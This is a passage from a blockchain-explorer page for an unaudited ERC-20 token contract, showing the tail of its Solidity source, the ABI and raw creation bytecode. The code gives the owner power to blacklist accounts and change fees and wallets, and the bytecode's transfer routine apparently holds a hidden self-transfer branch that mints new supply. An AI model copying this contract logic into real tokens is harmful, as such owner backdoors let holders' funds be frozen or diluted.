== 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Airdrop(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"Airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blacklistAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"earlySellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setEarlySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"_earlySellDevFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600b805463ffffffff19166301000001179055600f805460ff191660011790553480156200003157600080fd5b5060408051808201825260068152650ac9ea4a88ab60d31b6020808301918252835180850190945260048452630aca4a8b60e31b9084015281519192916200007c9160039162000774565b5080516200009290600490602084019062000774565b50506005805460ff19166001179055506000620000ac3390565b60058054610100600160a81b0319166101006001600160a01b03841690810291909117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d620001248160016200048b565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200016a57600080fd5b505afa1580156200017f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a591906200081a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001ee57600080fd5b505afa15801562000203573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022991906200081a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200027257600080fd5b505af115801562000287573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ad91906200081a565b6001600160a01b031660a0819052620002c89060016200048b565b60a051620002d89060016200050a565b600060028060636001848282826b204fce5e3e250261100000006103e8620003028260036200085b565b6200030e91906200087d565b6008556103e86200032182600a6200085b565b6200032d91906200087d565b600a9081556103e890620003439083906200085b565b6200034f91906200087d565b60095560118a905560128990556013889055876200036e8a8c620008a0565b6200037a9190620008a0565b60105560158790556016869055601785905584620003998789620008a0565b620003a59190620008a0565b60145560188490556019839055601a829055620003cf60055461010090046001600160a01b031690565b600680546001600160a01b03199081166001600160a01b03938416179091556005546007805461010090920490931691168117909155620004129060016200055e565b6200041f3060016200055e565b6200042e61dead60016200055e565b620004526200044a60055461010090046001600160a01b031690565b60016200048b565b6200045f3060016200048b565b6200046e61dead60016200048b565b6200047a33826200060e565b5050505050505050505050620008f8565b6005546001600160a01b03610100909104163314620004e05760405162461bcd60e51b8152602060048201819052602482015260008051602062003d7583398151915260448201526064015b60405180910390fd5b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260216020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03610100909104163314620005af5760405162461bcd60e51b8152602060048201819052602482015260008051602062003d758339815191526044820152606401620004d7565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006665760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620004d7565b62000682816002546200070a60201b620018f81790919060201c565b6002556001600160a01b03821660009081526020818152604090912054620006b5918390620018f86200070a821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600080620007198385620008a0565b9050838110156200076d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620004d7565b9392505050565b8280546200078290620008bb565b90600052602060002090601f016020900481019282620007a65760008555620007f1565b82601f10620007c157805160ff1916838001178555620007f1565b82800160010185558215620007f1579182015b82811115620007f1578251825591602001919060010190620007d4565b50620007ff92915062000803565b5090565b5b80821115620007ff576000815560010162000804565b6000602082840312156200082d57600080fd5b81516001600160a01b03811681146200076d57600080fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161562000878576200087862000845565b500290565b6000826200089b57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620008b657620008b662000845565b500190565b600181811c90821680620008d057607f821691505b60208210811415620008f257634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a05161341162000964600039600081816105b80152818161114801528181611d0b0152818161206b01526120f401526000818161042d01528181611ccd01528181612ab401528181612b7c01528181612bb801528181612c2a0152612c8601526134116000f3fe6080604052600436106103855760003560e01c806392136913116101d1578063bbc0c74211610102578063d85ba063116100a0578063f11a24d31161006f578063f11a24d314610a51578063f2fde38b14610a67578063f637434214610a87578063f8b45b0514610a9d57600080fd5b8063d85ba063146109ca578063dd62ed3e146109e0578063e2f4560514610a26578063e884f26014610a3c57600080fd5b8063c558ae6b116100dc578063c558ae6b1461095a578063c876d0b91461097a578063c8c8ebe414610994578063d257b34f146109aa57600080fd5b8063bbc0c742146108fb578063c02466681461091a578063c18bc1951461093a57600080fd5b8063a26577781161016f578063a7fc9e2111610149578063a7fc9e2114610875578063a9059cbb1461088b578063aacebbe3146108ab578063b62496f5146108cb57600080fd5b8063a265777814610814578063a457c2d714610834578063a4d15b641461085457600080fd5b80639a7a23d6116101ab5780639a7a23d6146107b25780639c3b4fdc146107d25780639fccce32146107e8578063a0d82dc5146107fe57600080fd5b80639213691314610767578063924de9b71461077d57806395d89b411461079d57600080fd5b806339509351116102b657806370a08231116102545780637bce5a04116102235780637bce5a04146106f95780638095d5641461070f5780638a8c523c1461072f5780638da5cb5b1461074457600080fd5b806370a0823114610679578063715018a6146106af578063751039fc146106c45780637571336a146106d957600080fd5b80634fbee193116102905780634fbee193146105f4578063541a43cf1461062d5780636a486a8e146106435780636ddd17131461065957600080fd5b8063395093511461058657806349bd5a5e146105a65780634a62bb65146105da57600080fd5b80631f3fed8f1161032357806323b872dd116102fd57806323b872dd146105145780632bf3d42d146105345780632d5a5d341461054a578063313ce5671461056a57600080fd5b80631f3fed8f146104be578063203e727e146104d457806322d3e2aa146104f457600080fd5b80631694505e1161035f5780631694505e1461041b57806318160ddd146104675780631816467f146104865780631a8145bb146104a857600080fd5b806306fdde0314610391578063095ea7b3146103bc57806310d5de53146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610ab3565b6040516103b39190612d3a565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612da7565b610b45565b60405190151581526020016103b3565b3480156103f857600080fd5b506103dc610407366004612dd3565b602080526000908152604090205460ff1681565b34801561042757600080fd5b5061044f7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016103b3565b34801561047357600080fd5b506002545b6040519081526020016103b3565b34801561049257600080fd5b506104a66104a1366004612dd3565b610b5c565b005b3480156104b457600080fd5b50610478601c5481565b3480156104ca57600080fd5b50610478601b5481565b3480156104e057600080fd5b506104a66104ef366004612df0565b610bf2565b34801561050057600080fd5b506104a661050f366004612e09565b610cd6565b34801561052057600080fd5b506103dc61052f366004612e4c565b610daf565b34801561054057600080fd5b5061047860195481565b34801561055657600080fd5b506104a6610565366004612e9d565b610e18565b34801561057657600080fd5b50604051601281526020016103b3565b34801561059257600080fd5b506103dc6105a1366004612da7565b610e73565b3480156105b257600080fd5b5061044f7f000000000000000000000000000000000000000000000000000000000000000081565b3480156105e657600080fd5b50600b546103dc9060ff1681565b34801561060057600080fd5b506103dc61060f366004612dd3565b6001600160a01b03166000908152601f602052604090205460ff1690565b34801561063957600080fd5b5061047860185481565b34801561064f57600080fd5b5061047860145481565b34801561066557600080fd5b50600b546103dc9062010000900460ff1681565b34801561068557600080fd5b50610478610694366004612dd3565b6001600160a01b031660009081526020819052604090205490565b3480156106bb57600080fd5b506104a6610ea9565b3480156106d057600080fd5b506103dc610f29565b3480156106e557600080fd5b506104a66106f4366004612e9d565b610f6c565b34801561070557600080fd5b5061047860115481565b34801561071b57600080fd5b506104a661072a366004612ed2565b610fc6565b34801561073b57600080fd5b506104a6611074565b34801561075057600080fd5b5060055461010090046001600160a01b031661044f565b34801561077357600080fd5b5061047860155481565b34801561078957600080fd5b506104a6610798366004612efe565b6110bb565b3480156107a957600080fd5b506103a6611107565b3480156107be57600080fd5b506104a66107cd366004612e9d565b611116565b3480156107de57600080fd5b5061047860135481565b3480156107f457600080fd5b50610478601d5481565b34801561080a57600080fd5b5061047860175481565b34801561082057600080fd5b506104a661082f366004612efe565b6111fc565b34801561084057600080fd5b506103dc61084f366004612da7565b61124a565b34801561086057600080fd5b50600b546103dc906301000000900460ff1681565b34801561088157600080fd5b50610478601a5481565b34801561089757600080fd5b506103dc6108a6366004612da7565b611299565b3480156108b757600080fd5b506104a66108c6366004612dd3565b61139a565b3480156108d757600080fd5b506103dc6108e6366004612dd3565b60216020526000908152604090205460ff1681565b34801561090757600080fd5b50600b546103dc90610100900460ff1681565b34801561092657600080fd5b506104a6610935366004612e9d565b611427565b34801561094657600080fd5b506104a6610955366004612df0565b6114b6565b34801561096657600080fd5b506104a6610975366004612f65565b61158d565b34801561098657600080fd5b50600f546103dc9060ff1681565b3480156109a057600080fd5b5061047860085481565b3480156109b657600080fd5b506103dc6109c5366004612df0565b61165c565b3480156109d657600080fd5b5061047860105481565b3480156109ec57600080fd5b506104786109fb366004612fd1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a3257600080fd5b5061047860095481565b348015610a4857600080fd5b506103dc6117b9565b348015610a5d57600080fd5b5061047860125481565b348015610a7357600080fd5b506104a6610a82366004612dd3565b6117fc565b348015610a9357600080fd5b5061047860165481565b348015610aa957600080fd5b50610478600a5481565b606060038054610ac29061300a565b80601f0160208091040260200160405190810160405280929190818152602001828054610aee9061300a565b8015610b3b5780601f10610b1057610100808354040283529160200191610b3b565b820191906000526020600020905b815481529060010190602001808311610b1e57829003601f168201915b5050505050905090565b6000610b5233848461195e565b5060015b92915050565b6005546001600160a01b03610100909104163314610b955760405162461bcd60e51b8152600401610b8c90613045565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03610100909104163314610c225760405162461bcd60e51b8152600401610b8c90613045565b670de0b6b3a764000062989680610c3860025490565b610c43906001613090565b610c4d91906130af565b610c5791906130af565b811015610cbe5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610b8c565b610cd081670de0b6b3a7640000613090565b60085550565b6005546001600160a01b03610100909104163314610d065760405162461bcd60e51b8152600401610b8c90613045565b60158690556016859055601784905560188390556019829055601a81905583610d2f86886130d1565b610d3991906130d1565b601481905560961015610da75760405162461bcd60e51b815260206004820152603060248201527f4d757374206b65657020666565732062656c6f772031352520647572696e672060448201526f616e746920736e69706520626c6f636b60801b6064820152608401610b8c565b505050505050565b6000610dbc848484611a83565b610e0e8433610e098560405180606001604052806028815260200161338f602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190612589565b61195e565b5060019392505050565b6005546001600160a01b03610100909104163314610e485760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610b52918590610e0990866118f8565b6005546001600160a01b03610100909104163314610ed95760405162461bcd60e51b8152600401610b8c90613045565b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b6005546000906001600160a01b03610100909104163314610f5c5760405162461bcd60e51b8152600401610b8c90613045565b50600b805460ff19169055600190565b6005546001600160a01b03610100909104163314610f9c5760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b039190911660009081526020805260409020805460ff1916911515919091179055565b6005546001600160a01b03610100909104163314610ff65760405162461bcd60e51b8152600401610b8c90613045565b6011839055601282905560138190558061101083856130d1565b61101a91906130d1565b6010819055600f101561106f5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c6573730000006044820152606401610b8c565b505050565b6005546001600160a01b036101009091041633146110a45760405162461bcd60e51b8152600401610b8c90613045565b600b805462ffff0019166201010017905543601e55565b6005546001600160a01b036101009091041633146110eb5760405162461bcd60e51b8152600401610b8c90613045565b600b8054911515620100000262ff000019909216919091179055565b606060048054610ac29061300a565b6005546001600160a01b036101009091041633146111465760405162461bcd60e51b8152600401610b8c90613045565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156111ee5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610b8c565b6111f882826125c3565b5050565b6005546001600160a01b0361010090910416331461122c5760405162461bcd60e51b8152600401610b8c90613045565b600b805491151563010000000263ff00000019909216919091179055565b6000610b523384610e09856040518060600160405280602581526020016133b7602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190612589565b60006001600160a01b038316331480156112ba575060055460ff1615156001145b156112dd576112cb335b8484611a83565b506005805460ff191690556001610b56565b6001600160a01b038316331480156112f8575060055460ff16155b156113895760025461130a90836118f8565b6002556001600160a01b03831660009081526020819052604090205461133090836118f8565b6001600160a01b038416600081815260208181526040918290209390935551848152909182917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506001610b56565b611392336112c4565b506001610b56565b6005546001600160a01b036101009091041633146113ca5760405162461bcd60e51b8152600401610b8c90613045565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b036101009091041633146114575760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b0382166000818152601f6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b036101009091041633146114e65760405162461bcd60e51b8152600401610b8c90613045565b670de0b6b3a76400006103e86114fb60025490565b611506906001613090565b61151091906130af565b61151a91906130af565b8110156115755760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e312560e01b6064820152608401610b8c565b61158781670de0b6b3a7640000613090565b600a5550565b6005546001600160a01b036101009091041633146115bd5760405162461bcd60e51b8152600401610b8c90613045565b6005546002546115dd9161010090046001600160a01b031690819061195e565b60005b8381101561165557611642338686848181106115fe576115fe6130e9565b90506020020160208101906116139190612dd3565b61161f6012600a6131e3565b868686818110611631576116316130e9565b9050602002013561052f9190613090565b508061164d816131f2565b9150506115e0565b5050505050565b6005546000906001600160a01b0361010090910416331461168f5760405162461bcd60e51b8152600401610b8c90613045565b620186a061169c60025490565b6116a7906001613090565b6116b191906130af565b82101561171e5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610b8c565b6103e861172a60025490565b611735906005613090565b61173f91906130af565b8211156117ab5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610b8c565b50600981905560015b919050565b6005546000906001600160a01b036101009091041633146117ec5760405162461bcd60e51b8152600401610b8c90613045565b50600f805460ff19169055600190565b6005546001600160a01b0361010090910416331461182c5760405162461bcd60e51b8152600401610b8c90613045565b6001600160a01b0381166118915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b8c565b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008061190583856130d1565b9050838110156119575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b8c565b9392505050565b6001600160a01b0383166119c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b8c565b6001600160a01b038216611a215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b8c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611aa95760405162461bcd60e51b8152600401610b8c9061320d565b6001600160a01b038216611acf5760405162461bcd60e51b8152600401610b8c90613252565b6001600160a01b0382166000908152600e602052604090205460ff16158015611b1157506001600160a01b0383166000908152600e602052604090205460ff16155b611b775760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610b8c565b80611b885761106f83836000612617565b600b5460ff1615612051576005546001600160a01b038481166101009092041614801590611bc957506005546001600160a01b038381166101009092041614155b8015611bdd57506001600160a01b03821615155b8015611bf457506001600160a01b03821661dea